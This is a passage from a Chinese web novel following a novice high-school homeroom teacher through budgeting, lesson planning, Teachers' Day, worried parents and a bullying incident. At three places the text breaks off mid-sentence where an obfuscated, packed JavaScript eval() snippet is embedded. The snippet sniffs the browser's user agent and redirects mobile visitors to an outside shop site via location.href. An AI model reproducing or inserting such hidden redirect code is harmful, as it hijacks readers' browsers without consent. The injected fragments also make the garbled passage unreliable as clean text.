于是,温云旗特地网购了一本记账本,准备交予生活委员(管钱的,但现在还没选出来)使用,一笔笔把账记上。 并且,她还从大紫薯上找到一个班级记账的Excel模板,让生活委员及时登记成电子档。 而今天的班会开支,就是她事先征求过家长和学生的意见。 每个人一百块班费,整个班就是五千块,这笔钱,温云旗也和家长学生们打了预防针,多退少补。 现在才开学,自然是省着点花。 至于学生间呼声很高的奶茶,温云旗直接pass,说不健康,虽然下一秒就有学生提出抗议,说:“老师,既然奶茶那么不健康,为什么军训的时候我看你天天喝!” 温云旗很淡定:“因为我亚健康。” 回应她的是学生们的一片嘘声。 她是个既民主又独裁的新手班主任:“就一百块班费,得用四五个月,我们要省着点花。” “这次预算只有十块左右,奶茶没有,给你们买一点可乐雪碧自己挑喜欢的喝,另外还有西瓜。” 说到可乐雪碧,底下有人不乐意:“我不爱喝汽水。” 提到西瓜,倒是一阵欢呼,全票通过。 害,就没有人不喜欢西瓜的。 对于极少数不愿意喝汽水的,温云旗说给买橙汁。 众口难调是这样的,所以民主时刻到最后,都以独裁手段告终。 独裁虽然会招致一点怨言,但对决策来说非常管用。 到了水果店,西瓜有好几种,黑美人、麒麟瓜、沙漠瓜…… 黑美人最贵,麒麟瓜水多且甜,沙漠瓜口感沙沙的,温云旗和葛影直接要的麒麟瓜,三块五一斤,一个瓜十来斤左右,老板说一个瓜大概够十个人吃,她算了算,和葛影一人要了六个。 物资嘛,宁可多买不敢少买。 另外考虑到有学生可能真的不爱吃水果,她们还选了几个芒果和火龙果。 嗯没错,她们女孩子当班主任就是很细心。 买瓜时,她们两人拜托老板把水果做成果切再送到学校门卫室,女老板一口答应,但多要了五块钱。 温云旗和葛影也没拒绝。 结果等到了男老板过来店里,知道女老板答应后,还当着她俩的面冲老婆发脾气。 她俩在旁边围观了一会吵架,才听明白原来男老板是不愿意送。 学校离这才一公里,怎么会有人连开车都不愿意。 不过两个中年老口子也就是拌了会嘴,葛影看男老板骂骂咧咧拿着刀开始杀瓜,就拉着温云旗走了。 班干部现在还没选,温云旗什么事情只能亲力亲为,和葛影去另一条的量贩零食店看汽水。 不逛不知道,一逛喜一跳。 进店看价格才发现这种量贩零食店果然很便宜,平常在超市买三块乃至三块五的可乐雪碧,在这里直接便宜六毛钱,只要两块四,难怪它家广告都打的是“省钱就逛零食很x”。 一件汽水二十四瓶,她俩各要了一件可乐一件雪碧,外加一瓶大瓶的橙汁,消费不到一百二。 另一人买了一包薯片,这个更便宜,才一块八。 结完账,同样拜托店员帮忙送到校门口后,她和葛影又回到了水果店,两个老板手脚都很麻利,十二个瓜,平均三分钟一个,旁边已经摆好了好些盒果切。她俩沉浸式看了会切水果,帮着老板把水果提上小货车,骑着小电驴跟在小货车后面准备进学校。 刚到校门口,她就开监控摇人:“孩子们,到校门口来拿水果。” 这次倒有七八个男生自告奋勇。 毕竟有水果钓着呢。 温云旗班上直接来了十几个人,葛影班学生在后,他们就顺手帮葛影拿了些上去。温云旗逮着这一点一路上使劲夸:“好孩子啊,真懂事,真有礼貌,你们是这个。” 她回过头比了个大拇哥。 不多夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975932|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸,以后怎么好使唤人干活啊。 等回到教室,学生们看到实物又是一阵欢呼,她也不多说,直接找了几个前排的学生把水果零食饮料都分发下去。 一大盒西瓜,前后桌六个人分吃一盒,这时候座位还没排,有男生女生刚好坐一块且不熟的,女生不好意思吃,男生也不好意思吃,互相看看彼此,又求助似地看向讲台上的温云旗,很是呆萌。 温云旗接收到信号,下去鼓励她们:“都是同学,有什么不好意思的。西瓜甜着呢,不快点吃可不新鲜了哦。” 幸好西瓜的诱惑力够大,男男女女又互相对视几眼,终于忍不住眼前汁水丰沛的诱惑,不管什么熟与不熟,青春期男女的羞涩,拿着叉子就开吃。 温云旗这个时候也没有料到,这么羞涩的男生女生间,竟然还诞生了一对十分青涩且低调的小情侣。 当然,这也是后话了。 趁学生们大口吃瓜,她赶紧对着全员吃瓜的班级拍了个大合照,上传到家长群的相册小程序。军训的时候她利用群相册小程序就建了一个共享相册,里面都是学生这几天辛苦锻炼的点点滴滴。 毕竟很多学生都是第一次住校,家长不放心也是正常,真正关心学生的家长,很难有几个忘崽的。 大合照上传,她还很矫情地配文:“军训的结束,意味着新学期正式的开始,从今天起,她们就都是新鲜的高一学生了,希望每个学生都能健康快乐地成长。” 家长们都爱划水,一下就多了五六个赞。 温云旗心里美滋滋的。 但下一刻,她上扬的嘴角就垮了下来。 吴梓涵家长发来一条语音,用的方言,无法转文字识别,她只能走到走廊上外放耐心听完:“老师,我是梓涵奶奶。我看其他同学桌上都有一瓶喝的,我们家梓涵怎么没有?” 吴梓涵这个名字,温云旗看花名册的时候,和葛影提过一嘴:“哎我们班有个叫梓涵的欸。” “老师,我们家梓涵怎么没有?”葛影当时还拿这个梗做玩笑。 万万没想到,“梓涵没有”虽迟但到。 梓涵有没有她不知道,但“梓涵没有”是有的。 此刻温云旗如临大敌,她赶紧假装在教室前后巡视,路过吴梓涵位置时,顺嘴一问:“吴梓涵,你饮料呢?同学没发给你吗?” 吴梓涵正吃瓜吃得上头:“啊?” “我有啊!”他指指地上一个被捏扁的可乐罐:“我已经喝完了。” 温云旗松了口气,幸好梓涵有。 也是,这么大个人了,别人都有他没有,他不会问发东西的人要吗? 温云旗放心了,但下一刻,立马对他凶道:“谁教你这么乱丢垃圾的!捡起来丢垃圾桶里去!” 吴梓涵耸耸肩,捡了易拉罐老老实实往教室后门的垃圾桶里丢了。 温云旗则回到讲台开始在群里回复吴梓涵家长:“梓涵奶奶,梓涵有的,一共有可乐雪碧橙汁三种饮料,他选的可乐,已经喝完了。” 吴梓涵家长发了个“好的”。 然而下一刻,温云旗又收到一条艾特,还是吴梓涵家长,不过,这次是妈妈。 吴梓涵妈妈:“老师,既然有橙汁还是让梓涵喝橙汁吧,可乐那些汽水对牙齿不好。但他既然喝了就算了,麻烦老师帮忙说说他。” …… 温云旗十分无语地在家长群回复了一个“好的”。 6.重生之我在学校当爱豆 一晚上在西瓜饮料和电影中平安无事地渡过,还没到第二天正式上课呢,就有学生跑过来和温云旗说自己的语文书丢了。 温云旗不理解,温云旗选择尊重:“这才开学几天啊,怎么书就丢了。” 天老爷,她上学上了十几年都没丢过课本。 学生一脸无辜:“不知道啊。我刚找了好久都没看到。” “在周围其他同学那里吗?” “没有。” 温云旗本想让学生自己再去买一本,但网购再快也得好几天,明天就上课了,也来不及。 她今天才去资料室领的教材,正好她之前考编也自费买了全套教材,暑假的时候为了提前备课又买了一本,她现在有三本语文必修一。 她想了想,让学生先回座位,自己去到走廊尽头的办公室把放在桌上那本最新的教材拿到手上,往学生桌上一放:“我有多的,给你吧。别再丢了。” 学生唯唯诺诺地应是。 实际上这本书从她递给他之后,就一直压在桌上那一摞堆得整整齐齐的书里,除了温云旗上课下来转悠和抽查古文时,根本没有拿出来过。 是了,这是个不爱读书的。 但这已是后话了。 坐上讲台打开手机,课表终于出来了。温云旗这学期带了两个班,除了自己班之外,还有葛影那个班,上课还是很方便的。 x高对语数外三门大主科的课时安排是这样的,周一到周五算正常上课,语外两门五天开七节,数学五天开八节。 温云旗对照着全年级的课表,用Excel给自己做了张个人课表,才填到周三,她的眉头就皱了起来。 周一:一二三四 周二:五八 周三:一三 周四:一四 周五:五六 温云旗没忍住,截图把课表发给了葛影,连同一个捶桌的猫咪表情。 可恶,好烂的课表,除了周一周五,没有一天的课是连着的。 【2420班葛影:周三周四是要来个一生一世吗。】 【鹦洲:谁知道呢,而且第一天上课就是连堂。】 她顺便还给葛影的课表做成图片发给她。 【鹦洲:嗯,你的更烂。】 葛影回了她一个一模一样的小猫捶桌。 同期之间的那个高一班主任小群里,也有老师发了自己课表,黑白的表格里,有零零星星的黄色标记洒落其间。 没几个连着的。 【2419班宁珂:我看了下我班英语老师的课表,都是连着的。】 【2416班黄铃荔:对,我看我班语文老师的课也好很多。】 【2416班黄铃荔:可能和排课的老师打过招呼。】 【2420班葛影:咱们才刚进校,连排课的老师是谁都不知道,也没办法打招呼。】 【2421鹦洲:烂烂的课我们烂烂的上。】 明天就是连堂课,温云旗一开始想的靠开学第一课渡过第一天的想法没法实现了,一节课做开学第一课,剩下一节课无论如何也得上课了。 就目前而言,她还没点上上课的技能点。 没办法,她不是师范出身,没有去学校实习过,光靠一个中文系的出身,还没攒够上课的经验条。 就像经典的武侠游戏开局,智慧的加点满了,也激活了学富五车之类的隐藏天赋,但小白就是小白,拿着把剑都不知道能砍谁。 假如出新手村的条件是十级,师范生八级,她三级。 纯菜鸟来的。 少年子弟江湖老。 她现在还只是少年,至于江湖,新手村还没出呢。 考上编制,意味着游戏开始,做老师是主线任务,班主任算是第二职业,想出新手村,就得多备课多上课,备课算攒材料,上课当打小怪,等到游戏开始四十八天,大BOSS就要来了。 是的,2024届新进老师群已经发了通知,等国庆假期上来,新老们就得上公开课了。 时间定在十月十八到十九号。 这个任务拆解下来,第一步就是拜师。 公开课和师徒结对这些事情都是周五晚上开大会时提到的,温云旗初来乍到,哪里认识什么老老师,可拜师这个事情下周五之前得定下,她打算实在不行就等语文组搞教研活动的时候找组长拜师。 上班之后,她又一次深刻意识到,没有社交能力和情商的人根本无法适应社会。 在学校要想出彩,你除了卷卷面上的成绩,还有时不时的pre,评奖评优更是看你参加了多少活动,除了卷面成绩,没有哪个是不需要社交的。 上班更是。 当老师要站讲台,一讲就是四十五分钟。 当班主任得和各种人沟通,得随机应变吧。 就那个排课的事情,也得找排课的老师去沟通,至少得和人加上微信打招呼。 师徒结对,得主动找老师吧。 桩桩件件,哪一个不要社交? i人要是e不起来,就只能做职场的透明人、边缘人。 见到领导和别的老师,还得犹豫一下要不要打个招呼,怎么称呼,等你纠结的这点时间,对方早走了。 要是注意到了,可能还得背后蛐蛐一下你胆小。 自从确定入编,温云旗的目标就很明确。 第一,当一个好老师,收获好的评价。 第二,哪怕不能在单位混得风生水起,至少也要如鱼得水。 坦白说,她是一个相对功利的人。 上学时努力学习,用好成绩给自己学业上的正反馈,对朋友真诚细心,通过真心换真心给自己友谊的正反馈,等到工作,她希望收到领导、家长和学生三方的好评来激励她上进。 所以,哪怕她是个i人,到目前为止,都表现得活跃主动、落落大方。 当社交能够助力心中所想,那么社交就是她的手段。 为i做e罢了,没什么难的。 当务之急是备课。 x高备课的要求是45岁以下的老师都需要手写教案,年轻老师要求写详案。二者都是的温云旗老老实实抄教案。 上课的PPT是早就准备好了的。 温云旗是个会投机取巧的老实人,知道自己要当老师当班主任后,她就熟练使用大紫薯、微信、D站和学科网开始攒经验条。 大紫薯用来看老师们的经验分享和备课思路,微信公众号也是。不过前者思路零散有新意,后者思路成熟有体系,各有所长。 D站用来观看某篇课文的教学实录,同时学习教态和语言组织。 学科网更好,有现成的课程PPT可以下载,只不过要付费。 温云旗七月底咬咬牙开了个年费会员,结果九月中学校就给每个老师开了三年的会员,不要钱。 亏死。 温云旗付费上班的事例还不止这一件,大紫薯有卖新手班主任教学课的,她花299买了一套,一共三十节,教的是怎么立威,怎么处理各种学生问题,基本上可以覆盖大部分突发事件。 公众号有很多学科工作室,她挑着几个热销买了几套。课件可以单买,但价格昂贵:一篇课文标价25块,一本书课件标价199,也不便宜。 还有必修五本书算一整套的,标价599,是一笔巨款。但念及性价比,温云旗还是买了,还挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987449|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑选选买了两三家工作室的课件,毕竟尺有所短,每篇课文她得对比着用。 当老师的,可不是要帮助学生取其精华去其糟粕。 这样下来,面试的时候买面试的网课,上课买上课的网课,当班主任买带班的网课,还没正式上班,温云旗就花去了两三千。 整个人贷款上班。 幸好她有一对好爹妈,手心向上一键啃老。爹妈欣然帮忙买单,完了还要夸她上进。 美滋滋。 美滋滋的温云旗军训期间闲着没事,把自己那台13寸的小Mac往办公桌上一放,课文一看课件一做,就是一天。 还没正式上课,她就把第一单元的PPT复制粘贴修改完了。 倒也不必说她偷懒,她就一个新手老师,连上课的教学目标什么的都还是考教资那会学的,要她光靠自己备一整节课,本来也不现实。 站在巨人的肩膀上备课果然思路清晰。温云旗今天返校才拿到的教案本,趁学生沉迷电影无法自拔,她就回了办公室开始哐哧哐哧抄教案。 明天早八,今晚备课。 嗯,孩子们别急,等老师学会了明天就能教你们了。 一篇《沁园春·长沙》,两个课时,她写了9页纸,一共18面。等写完最后的句号,她手都麻了。 虽然她字大是一个原因,但内容也是真的详细。黑笔正常写,红笔记知识点,蓝笔给自己预设学生的问题,重点的地方,还用了荧光笔标记。 看着精心设计、赏心悦目的教案,温云旗成就感满满。 抄完教案,她又用Word准备逐字稿,顺了顺明天讲课的内容。 等到了晚自习下课,也算是胸有成竹了。 就是学生时代的复习周,她都没这么认真过。 万万没想到当老师之后,比学生学得还认真。 第二天早自习,她提前到两个班上把预习课件往一体机上导入,一页字音,一页预习问题,够学生耗半个小时了。 正式上课第一天,学生们无心捣乱,个个趴在座位上扮乖宝宝,加之准备充足,温云旗倒是顺利地上完了人生中第一节课。 中国演员,还得看人民教师。 大学四年是练习生,教招考试是海选,考上了叫出道,正式入编是签公司,上台讲课是全开麦舞台。 整整四十五分钟,一镜到底。 全开麦、不喊卡、无配音、没替身。底下五十五个观众成分复杂,少数真爱粉和你互动,个别黑粉在台下软乱纪律。 大多数都是僵尸粉,坐在位置上无动于衷。 对此,温云旗适应良好。x高学生基础较差,学生鱼龙混杂,她早就让自己降低了期待值。 有了第一节课的顺利打底,剩下的三节课也波澜不惊地渡过了。 等到第四节课下课,温云旗回了办公室直接瘫倒在椅子上。 成功上完一堂课的紧张劲和兴奋劲早已过去,四节连堂下来,剩下的只有满满的疲惫和饥饿感。 她和葛影都有第四节课,宁珂帮她俩从食堂带饭,她坐起来,打开饭盒猛猛干饭。 今天中午食堂吃的是香干炒肉、油爆茄子和紫菜蛋花汤。 前两个菜虽然油盐重,至少下饭,那个汤就算了,纯刷锅水来的。 不过温云旗也懒得嫌弃,上完班有得吃就不错了。她先扒拉了一口饭,缓过那个饿劲,才想起来和对面的宁珂道谢:“感恩!” 宁珂刷着手机头也没抬:“报团取暖,互帮互助,小意思!” 温云旗边吃饭边刷手机,发现晚辅课表也出来了。 好巧不巧,她今晚还有两节辅导。 哈哈,更累了。 7.教师节 虽然才开学没多久,师生之间彼此也谈不上熟悉,但教师节这天,温云旗还是收获了各式各样的小礼物。 其中占比比较多的是一种透明袋子装着的毛线花,有些上边还标着“15元”的价格标签。她猜测这应该就是从学校超市现买来的。 葛影也有好几个这样的。 有个学生今天早上才请假回的家,说要配眼镜,回来时还进办公室和她报告并炫耀自己的新镜框,问她吃不吃他从家里带来的月饼。 “老师你吃不吃月饼?我从家里拿的,拿了三个,分一个给你。” “我不爱吃月饼,你自己吃吧。” “哦哦。那我走了。”一米八八的男生转身出了办公室。 不过三秒,温云旗又听到办公室门打开的嘎吱声,才出门的大个子放了个脑袋进来,又问她:“那牛肉干呢?我爸上个月去内蒙出差给带回来的。特别好吃!” 这个温云旗爱吃:“行啊,给我来一个。” 男孩子噔噔蹬蹬就进了办公室,从兜里掏出来三根牛肉干放她桌上:“吃吧!不够了我再拿给你。” 徒弟上贡,温云旗自然是笑纳了。 一米八八的林览是班里唯四的体育生之一,靠体育特长进的学校,成绩不好,但确实体育生里最自律的那挂。 同时也是个憨憨。 因为这个人在晚一训练回来后,又跑到她办公室来没话找话:“今天原来是教师节。” 温云旗正备课呢,偏头看了他一眼,觉得有些莫名其妙:“是啊,怎么了?” 林览没说话。 温云旗还在对着屏幕上的课件思考,余光里感受到右手边的桌上多了个什么东西。 她扭头一看,笑容没忍住挂在了脸上。 白天里看过很多次的那个塑料盒子装着的毛线花,又一次出现在了她的桌面上。 粉色花瓣,黄色花蕊,绿色根筋,蓝色花盆,周围还沾了一圈小小的灯光,左上角的标价也还留着没撕掉。 “给你。”眼前的大个子明显有些害羞了,扭过头不去看她:“教师节快乐。” 估计是下课去超市,看到同学们都在买,便也买了个。 “谢谢你。下次不要破费了哈。”温云旗向他道谢,顺手从抽屉里拿了两包本省大众奶茶的零食给他:“礼尚往来,这个面包丁给你吃。” 林览伸手接过:“牛肉干你吃了没?” “吃了一个,很好吃,还是牦牛肉干呢。” “哦。好吃就行。” “行了,回去上课,别想着在我办公室打发时间。”温云旗把人赶了出去。 等到她从沉浸式备课的状态里走出,站起身来神伸懒腰时,才发现桌面唯一的那块空地又放上了东西。 是一块月饼和几包上午就见过的牛肉干,还有一张字条,上面写道: “虽然才和你一起相处十多天,但我觉得你很好。 教师节快乐,希望高中三年都是你带。” 字草意真,温云旗抹了把酸涩的鼻子,小心翼翼地抚平纸条的褶皱,从最上层的抽屉里拿出一个精致的饼干盒,将纸条放了进去。 正式开学半个月,日子过得鸡飞狗跳,温云旗几乎每天都在处理各种各样的问题。 一部分是学生之间的矛盾,这种类型只要把涉事学生叫到办公室仔细一问就能断案,倒是不麻烦。 或者是扣分行为,比如检查卫生时垃圾桶里有半桶垃圾,比如谁没叠被子谁晚上讲话,比如谁上课打瞌睡…… 这些也好解决,晚一或早自习把扣分表往一体机上一放,说说笑笑间就把问题给小事化了了。 学生犯错是正常的,好好提醒,也不用骂人才能有效果。 老师骂人,一般都是怀柔政策没辙了。 更多的问题来自于家长。 教师节过后第二天,正在午睡的温云旗被一阵急促的铃声闹醒,比眼睛更快反应过来的是她的手,拿了手机就往耳边一贴。 “温老师,都下午了,我家于晖怎么饭卡一天都没有刷!这孩子,还是长身体的时候,怎么能不吃饭呢……温老师,麻烦您帮我问问他,怎么不吃饭?” 没吃就没吃。 家长,孩子虽然还在长身体,但十六的人应该还没蠢到让自己饿死。 温云旗心里腹诽着,说的话却非常温柔:“好的呢于晖妈妈,您别急,等下课我问问他哈。不过您也别太担心,他这么大的人了,也不会把自己饿着的。” “哦温老师,我还看到于晖他平时老在学校超市刷卡,一次性就刷十几二十块钱,超市里都是些辣条方便面饮料的,天天吃些垃圾食品,您一会也帮忙说说。让他少吃点不健康的东西。” 吃了就吃了。 我妈快五十岁了还吃我买的路边摊呢。 “好的好的,您放心,我一定说他。” “温老师都这么说了,我也就放心了。” 温云旗正想和家长互相客套一番挂断电话,就听见家长问孩子成绩:“温老师,于晖他,平时成绩怎么样?” 如果没记错的话,高一开学才两个星期。 不过温云旗作为班主任,对班上学生的情况也算熟悉,想想于晖平时上蹿下跳那个猴样她就发愁。 不过,当班主任后,温云旗逐渐懂得什么叫委婉的艺术。她揉了揉额头,酝酿了一番措辞,选择报喜:“于晖啊,他……他挺聪明的。” “是聪明,他小学的时候数学都是九十多一百分呢。” 拜托,小学数学一百分就和喝水一样简单吧…… 吐槽归吐槽,她继续委婉道:“不过啊,聪明劲不太用在学习上。” 身为老师,要学会很多潜台词。 比如,孩子很聪明,就是不太用在学习上,其实就是在暗示家长,学生在玩上很聪明,在学习上一点天分也没有。 听课是罕见的,偶然的。 捣乱是时常的,不意外的。 更别说前几天,温云旗在自习的时候就没收于晖一把积木拼成的大剑,每个积木和一颗绿豆差不多大,也不知道这个人是怎么把它拼成的。不得不说,于晖眼力毅力动手能力都挺厉害。 秉着家校沟通的原则,她当时就要知会家长的,结果学校临时开会,倒是让她忘了这件事。 如今想起来,便将没收的大剑拍了张照片发过去,一并和家长说了。 告状,对于班主任来说,就像呼吸一样自然频繁。 “什么!”电话那头果然传来愤怒的怒吼:“反了他的,我就怕乱买这些玩具影响学习,都只给了他十块钱零花,他哪来的钱买?” “那我就不知道了。”温云旗微笑着打哈哈:“可能是拿饭卡给同学刷,让同学给的现金。也可能是藏的私房钱,都不好说的。这个年纪的学生,想换钱还是不难。” 其实温云旗还知道,学生可以在学校超市找老板换钱。 卡上刷十块,拿九块现金也是很正常的事情。外包的老板哪有什么良心,有钱赚他乐得。 不过这毕竟涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009119|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及到学校方面的管理,温云旗选择闭嘴,没敢和家长说。 挂断电话,温云旗也没了睡意。 “既然醒了,就去教室看看能不能没收个手机吧。”办公室就在教室隔壁,办公室另外两个办公室还在打着呼噜熟睡,温云旗轻手轻脚地打开门再关上,闪身推开了自家班上的门。 没趴着的学生扭头看到她,赶紧趴下装作睡觉。这样的学生不是温云旗这次的目的,她站在讲台边上环顾班级一圈,眼神在后排某个位置停留一瞬,便背着手穿越过道,先顺手收了本小说,等到了最后一排,她也不直接收,而是把手一摊,伸向某个课桌下。 还在沉浸式游戏的学生一愣,缓缓抬头。 温云旗脸上已经没有了先前的微微笑意,眉头一皱,嘴巴抿成一条直线,年轻的脸上透出愠怒。 她的手还伸在学生和课桌之间,意思很明确。 给,还是不给?很多时候,这不是一个选择题。 学生也知道自己的下场是什么,老老实实地把手机放到温云旗手上。 温云旗自己也玩这个游戏,还冲到了V10。看了眼右上角的战绩,冷笑道:“哼,还是个野王。” 学生支支吾吾,并不说话。 她没有放过他:“晚一来我办公室一趟。” 午休结束,距离上课还有十分钟,她又赶急赶忙去教室抓了于晖来问吃饭的事情:“你妈让我问你怎么今天没刷饭卡?” 于晖挠了挠头:“嗐,今天早上起得太迟,忘带了。中午借同学的卡刷了。” 他不说温云旗也大概能猜到,不过毕竟是家长的嘱咐,她只是个传声筒,代为问话还是要做的:“那你晚点给你妈打电话解释一下。她生怕你没吃饭。” 于晖耸耸肩:“我都多大个人了,还能饿着自己?” 温云旗拍拍他肩膀:“行了,回去好好学习。” 是啊,其实大家都知道。只是做了父母,就是会操很多的心。 温云旗的手机里,类似的关心学生状态的问话其实还有很多,她虽然常常忍不住吐槽,但每次还是会好好回复。 “温老师,这两天变天了,麻烦您提醒我家xxx多穿点,别感冒了。” “温老师,我给您三十块钱,麻烦您换现金给xxx,他好坐车回家。” “温老师……” 这年头,做班主任的就是一个传声筒。 一头是家长,一头是学生。 只不过大部分时候,这个传声筒都是单向的。 虽然都是微不足道的小事,但对于家长而言,就是重要的关心。 温云旗愿意帮忙传递这些零零碎碎、小心翼翼的关心。 因为她明白,这都是爱的痕迹。 大学的时候,有位教授特别喜欢喊她们“孩子们”,温云旗一开始觉得好笑,直到毕业才渐渐觉出教授的关怀之意,等到她上岗当老师,纠结很久后,也学着曾经的恩师,开始叫学生“孩子们”。 十五六岁的半大少年们,可不是孩子么。 晚一班主任守班,照常批评学生一顿后,温云旗把后排中午玩手机的那个学生喊进办公室,苦口婆心二十分钟后,把涉事手机拍照发给家长,马上接到家长加急来电。 开外放和家长一起又语重心长批评学生十分钟。 不知不觉间,晚一下课。 今天周四,温云旗有两节晚辅,上完自己班的上葛影班,趁着自习时间赶紧备课写教案。 哎,果然也是好忙的一天。 8.我有个学生 为什么军训?其实就是让学生快速习惯封闭式的生活,并且帮助大家破冰,在短时间内凝练班魂。 但实际上,温云旗后来发现,所谓的班魂实际是不存在的。 至少短时间内还没有。 九月中旬,学校开始每天跑操。 温云旗和学生一块挂上了痛苦面具。x高大课间有三十五分钟,这段时间她一般用来复习教案查漏补缺,或者解决学生问题,没事的时候还能睡个短觉,总之都很有用。 现在跑操一来,半个小时都在操场罚站,又或者像只边牧一样突然加速奔跑追上跑得歪歪扭扭的队伍去进行纠正,有时候还会快走随行一段距离。 嗯,边牧这个是她自封的。 每次隔得远远地看见班上学生跑操掉队时那猛地横跨田径场跑去指指点点的样子真的像极了牧羊时的边牧。 虽然狗,但至少是个高智商的,她这样安慰自己。 周二这天,她没有上午的课,跑完操到班上管完纪律,就躺在办公室的小床上准备会一会周公。 行军床是她自己买的,x高每个班主任都有这个玩意,用来放在办公室补觉。 使用得最多的时候就是午休。办公室七八个行军床,平均每张床都躺一个疲惫至极的班主任,躺下即睡,操心太多,根本没有失眠的困扰。 午休的办公室,呼噜声可谓是此起彼伏,早睡的先打鼾,晚睡的就着鼾声入梦。 都是累死的牛马,没什么好嫌弃的。 上午第三节课的办公室尤其安静,班主任们大多正在上课,温云旗计划一睡睡到第四节课快下课,今天轮到她给葛影、宁珂带饭。 理想是好的,现实是残酷的。 才睡上一节课,温云旗就被叫醒了。 她睁开眼睛,班里那个总爱讲小话的女孩子正收回戳她的手:“老师,我们有事找你。” 温云旗疲惫地起床,看到女孩子身后两米处还站着另外一个男生,肉肉的脸上更挂了两帘眼泪,两只手揪着衣服扭来扭去。 “怎么回事?” 男生把泪汪汪的眼睛投向女生。 女生帮他告状:“老师,路渊博被学姐骂了。” “什么情况!”温云旗已经清醒了:“你们怎么知道是学姐的?” 女生,也就是谢云佩赶紧把事情的前因后果和温云旗一通说。 在各种“就是”“然后”中,温云旗终于知道发生了什么事情。 霸凌。 今天跑操结束得早,因为离上课还有些时间,路渊博就去小卖部买点零食,正老实排队呢,却被一个看起来就很拽的高年级女生拉住质问:“你干嘛□□队!” 路渊博虽然被吓住,但还是老老实实地反驳:“我没插队,我排队的时候前面空了一大块。” 女生不依不饶:“你就是插了我队!” 她背后有几个高个子男生也挤了过来压阵:“你插什么队啊。” 路渊博被吓得哭出来,吞吞吐吐地说要告老师。 女生马上逼问道:“高一的?” “……是、是。” “哪个班的?” “24……2421的。” “班主任呢?叫什么?” “温……温云旗……” “温云旗?”听到名字,女生皱了皱眉:“谁啊,不认识,没听过。” 路渊博就这么在小卖部被一群人为难着,小卖部老板对此视而不见,周围的学生也冷漠来去,还是上课铃救了他。 顾及到上课,女生放过了他。 路渊博连零食都没要,赶紧跑回了教室。 温云旗守在教室后门时,刚上课那会班里确实少了几个人,不过陆陆续续都在回来,她便没深究。 却不曾想到居然他还遭遇了这么一出。 还有更过分的,这个女生第三节课下课又找到班上来,在一群人中精准锁定缩在座位上的路渊博,把人揪起来继续骂。 不然路渊博也不会这个时候还哭着。 温云旗听着女生的描述,人都快气死了:“还敢来班上?第三节课下课什么时候?我看看监控。” “下课大概四五分钟吧,骂了好几分钟才走。我们趁着做眼保健操就来找您了。” 温云旗打开监控软件,把进度条往女生说的时间点一拖,不一会就看到后门有个没穿校服的陌生女生大摇大摆进了后门,找到路渊博就开始骂。 有视频为证,温云旗更气了。 气归气,还是问题更需要解决。 这是明晃晃的霸凌! 温云旗按下暂停键,截图发到班主任大群,请各位班主任在线人脸识别:“请问各位班主任有没有认识这位女生的?学生在小卖部老老实实排队被她和几个男生堵着说插队,骂了好一顿,刚才又一个跑到我班来骂学生。” 想了想,她又打了句:“原来这年头霸凌还能这么明目张胆的啊。【微笑】【微笑】【微笑】” 很快,有几位高二的老师开始冒泡。 “这不是原来10班肖老师班那个奇葩?现在好像去文科班吧?” “看着是很像,我昨天还看到过这个人。” 几位老师还在犹豫间,有个老师直接拍板,还把学生名字给温云旗说了:“任羽璇,原来2310的,现在在2312龙老师班上。” 顺手还艾特了龙老师。 温云旗让两人先回班上课:“好了,知道是哪个班的就好解决了,等我找她班主任。你们先回去上课吧。” 她退出群聊一看,发现刚才那位好心的老师居然还加她了。 【2304班周泽文:看你是新老师,可能不认识龙老师,他这个人马上要退休了,比较佛系,你不主动推着他要解决方案,他肯定不会管。】 【2304班周泽文:你最好多给他施压,就说家长很关注这件事如何如何。】 真是个好心人啊。 温云旗马上谢过他:【鹦洲:谢谢周老师!感恩!】 【2304班周泽文:不客气,都是过来人。】 果然如周泽文所言,这位被艾特的龙老师不知道怎么回事,一直没在群里回应。温云旗直接加他微信。 微信并没有被通过。她顺着学校开大会时发的教工联系表找到电话打过去:“喂?请问是2312班的龙老师吗?” 对面用方言回应了个“是”。 温云旗自报家门:“您好,我是高一2421班的班主任温云旗。请问您班上是否有一个叫任羽璇的女生?” “是啊,她不读书的啊,怎么了?” 就是不读书,才会坏到去霸凌学弟。温云旗忍着怒意,把事情给龙老师简单叙述了一遍:“事情就是这么一个事情,我希望龙老师帮忙教育一下这个学生,并且来我班上给我的学生道歉。” “哦哦哦哦……”对面听起来漫不经心的:“居然还有这种事情啊,我有时候说说她。” 温云旗感觉不妙。 其实,班主任的大群大多数时间都是通知,不可能有班主任不看,哪怕没及时回复,也会有人艾特,一般看到艾特,老师吗再是把群免打扰,也会进来看看是什么信息。 